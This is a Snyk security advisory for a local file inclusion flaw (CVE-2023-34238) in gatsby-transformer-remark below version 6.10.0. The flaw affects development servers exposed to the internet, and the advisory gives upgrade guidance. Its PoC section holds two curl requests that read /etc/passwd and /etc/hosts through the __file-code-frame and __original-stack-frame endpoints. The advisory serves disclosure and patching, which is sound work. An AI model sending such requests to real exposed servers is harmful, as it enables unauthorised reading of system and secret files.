Information Exposure Affecting gatsby-transformer-remark package, versions <6.10.0
Threat Intelligence
Snyk has a proof-of-concept or detailed explanation of how to exploit this vulnerability.
The probability is the direct output of the EPSS model, and conveys an overall sense of the threat of exploitation in the wild. The percentile measures the EPSS probability relative to all known EPSS scores. Note: This data is updated daily, relying on the latest available EPSS model version. Check out the EPSS documentation for more details.
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Test your applications- Snyk IDSNYK-JS-GATSBYTRANSFORMERREMARK-5671901
- published8 Jun 2023
- disclosed8 Jun 2023
- creditMaxwell Garrett
Introduced: 8 Jun 2023
CVE-2023-34238 (opens in a new tab)How to fix?
Upgrade gatsby-transformer-remark to version 6.10.0 or higher.
Overview
gatsby-transformer-remark is a Gatsby transformer plugin for Markdown using the Remark library and ecosystem
Affected versions of this package are vulnerable to Information Exposure via local file inclusion in __file-code-frame or __original-stack-frame, when gatsby develop is in use and exposed to the internet.
NOTE: By default gatsby develop is only accessible via the localhost 127.0.0.1, and one would need to intentionally expose the server to other interfaces to exploit this vulnerability by using server options such as --host 0.0.0.0, -H 0.0.0.0, or the GATSBY_HOST=0.0.0.0 environment variable.
PoC
# Local File Inclusion in __file-code-frame
$ curl "http://127.0.0.1:8000/__file-code-frame?filePath=/etc/passwd&lineNumber=1"
# Local File Inclusion in __original-stack-frame
$ curl "http://127.0.0.1:8000/__original-stack-frame?moduleId=/etc/hosts&lineNumber=1&skipSourceMap=1"